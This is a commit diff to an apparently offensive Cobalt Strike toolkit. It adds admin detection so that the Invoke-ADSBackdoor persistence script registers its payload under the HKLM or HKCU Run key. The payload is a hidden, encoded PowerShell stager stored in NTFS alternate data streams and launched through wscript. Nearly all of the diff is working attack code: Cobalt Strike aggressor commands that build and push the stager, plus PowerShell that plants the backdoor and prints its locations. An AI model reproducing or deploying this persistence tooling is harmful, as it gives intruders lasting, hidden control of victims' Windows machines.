added intelligent keyhive selection for Invoke-ADSBackdoor

kits/DebugKit/DebugKit.cna

@@ -39,6 +39,15 @@ command !pwn3d_hosts {
 	}
 }
 
+# This alias checks whether CS thinks the beacon is an admin based on the '-isadmin' function
+alias !iscsadmin{
+	if (-isadmin $1){
+		blog($1, "Beacon is admin");
+	} else{ 
+		blog($1, "Beacon is not admin");
+	}
+}
+
 popup beacon_bottom {
 	menu "DebugKit" {
 		item "Notify at next check-in"{

kits/PersistKit/PersistKit.cna

@@ -20,8 +20,17 @@ sub createADSBackdoor {
 		$psPayload = powershell_encode_stager(shellcode($selectedListener));
 		$fullPsPayload = "powershell.exe -nop -w hidden -encodedcommand $psPayload";
 		binput($bid, "powershell-import Invoke-ADSBackdoor.ps1");
-		binput($bid, "powershell Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path $1 -cobaltstrike_gen_payload");
-		bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path \" $+ $1 $+ \" -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \"");
+		# $bid is actually an array, so use $bid[0] for -isadmin
+		# Admitettly hacky way to avoid using lambda
+		if (-isadmin $bid[0]){
+			blog($bid, "Beacon is admin, using HKLM hive, \Ubackdoor will execute for any user\U");
+			binput($bid, "powershell Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path $1 -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \" -admin");
+			bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path \" $+ $1 $+ \" -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \" -admin");
+		} else {
+			blog($bid, "Beacon is not admin, using HKCU hive, \Ubackdoor will only execute for this user\U");
+			binput($bid, "powershell Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path $1 -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \"");
+			bpowershell($bid, "Invoke-ADSBackdoor -RegKeyName \" $+ $theADSRegName $+ \" -backdoored_file_path \" $+ $1 $+ \" -cobaltstrike_gen_payload \" $+ $fullPsPayload $+ \"");
+		}
 	});
 }
 

kits/PersistKit/scripts/Invoke-ADSBackdoor.ps1

@@ -13,7 +13,7 @@ payload. This script is not intented to be used outside the Cobalt Strike Und3rf
 correctly generate all of the correct arguments.
 
 .EXAMPLE
-PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload <provided by cobalt strike>
+PS C:\> Invoke-ADSBackdoor -admin -RegKeyName Und3rf10w_key -backdoored_file_path C:\Windows\System32\explorer.exe -cobaltstrike_gen_payload <provided by cobalt strike>
 
 #>
 
@@ -22,6 +22,9 @@ PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Wi
     Param(
         [Parameter(Mandatory=$True)]
         [string]$cobaltstrike_gen_payload,
+
+        [Parameter(Mandatory=$False)]
+        [switch]$admin,
         
         [Parameter(Mandatory=$False)]
         [string]$RegKeyName,
@@ -39,6 +42,12 @@ PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Wi
         $backdoored_file_path = "$env:USERPROFILE\AppData"
     }
 
+    if ($admin){
+         $keyhive = "HKLM"
+    } else {
+         $keyhive = "HKCU"
+    }
+
     $backdoored_file_path = [System.Environment]::ExpandEnvironmentVariables($backdoored_file_path)
 
     $payload = $cobaltstrike_gen_payload
@@ -60,12 +69,11 @@ PS C:\> Invoke-ADSBackdoor -RegKeyName Und3rf10w_key -backdoored_file_path C:\Wi
 
     Invoke-Command -ScriptBlock $createPayloadADS
     Invoke-Command -ScriptBlock $createWrapperADS
-    
+  
     $backCommand = "wscript.exe " + "`"$backdoored_file_path" + ":$wrapper_adsfile_name`""
-    New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value $backCommand -Force
-    # TODO: make key path selectable. For reference, see: https://support.microsoft.com/en-us/kb/314866 & http://www.differencebetween.net/technology/hardware-technology/difference-between-hkey_current_user-and-hkey_local_machine/
+    New-ItemProperty -Path $keyhive":\Software\Microsoft\Windows\CurrentVersion\Run" -Name $RegKeyName -PropertyType String -Value $backCommand -Force
     Write-Host "Backdoor Deployed, details provided below; take notes:"
-    Write-Host "Reg key path: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName"
+    Write-Host "Reg key path:" $keyhive":\Software\Microsoft\Windows\CurrentVersion\Run\$RegKeyName"
     Write-Host "Payload path: $backADSFile"
     Write-Host "Wrapper path: $wrapADSFile"
 }